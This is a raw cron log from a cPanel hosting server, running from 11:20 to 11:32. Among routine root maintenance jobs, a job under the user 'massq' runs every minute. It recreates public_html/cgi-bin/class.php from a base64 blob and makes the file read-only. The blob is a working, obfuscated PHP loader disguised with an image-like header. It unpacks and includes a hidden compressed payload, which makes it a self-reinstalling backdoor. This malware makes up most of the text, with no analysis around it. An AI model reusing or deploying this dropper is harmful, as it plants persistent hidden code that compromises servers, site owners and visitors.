Sep  7 11:20:01 server CROND[21446]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:20:01 server CROND[21448]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 11:20:01 server CROND[21451]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:20:01 server CROND[21450]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 11:20:01 server CROND[21445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:20:01 server CROND[21452]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 11:21:01 server CROND[22262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:21:01 server CROND[22263]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:21:01 server CROND[22264]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:22:01 server CROND[22640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:22:01 server CROND[22641]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:22:01 server CROND[22642]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:23:01 server CROND[23188]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:23:01 server CROND[23189]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:23:01 server CROND[23190]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:24:01 server CROND[23565]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:24:01 server CROND[23564]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:24:01 server CROND[23566]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:25:01 server CROND[24095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:25:01 server CROND[24097]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 11:25:01 server CROND[24102]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:25:01 server CROND[24103]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 11:25:01 server CROND[24100]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:25:01 server CROND[24099]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 11:25:01 server CROND[24101]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 11:26:01 server CROND[24973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:26:01 server CROND[24974]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:26:01 server CROND[24975]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:27:01 server CROND[25352]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:27:01 server CROND[25353]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:27:01 server CROND[25354]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:27:01 server CROND[25355]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 11:28:01 server CROND[25733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:28:01 server CROND[25734]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:28:01 server CROND[25735]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:29:01 server CROND[26104]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:29:01 server CROND[26105]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:29:01 server CROND[26106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:30:01 server CROND[26575]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 11:30:01 server CROND[26576]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 11:30:01 server CROND[26578]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 11:30:01 server CROND[26579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:30:01 server CROND[26580]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:30:01 server CROND[26582]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:30:01 server CROND[26581]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 11:30:01 server CROND[26583]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 11:31:01 server CROND[27467]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:31:01 server CROND[27468]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:31:01 server CROND[27469]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:32:01 server CROND[27849]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
